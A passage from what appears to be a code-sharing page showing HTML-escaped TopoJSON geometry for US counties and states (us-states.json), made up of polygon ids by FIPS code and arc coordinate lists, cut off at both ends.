438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/1f1955af07b8a6b8280fa6a86b3bf033">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,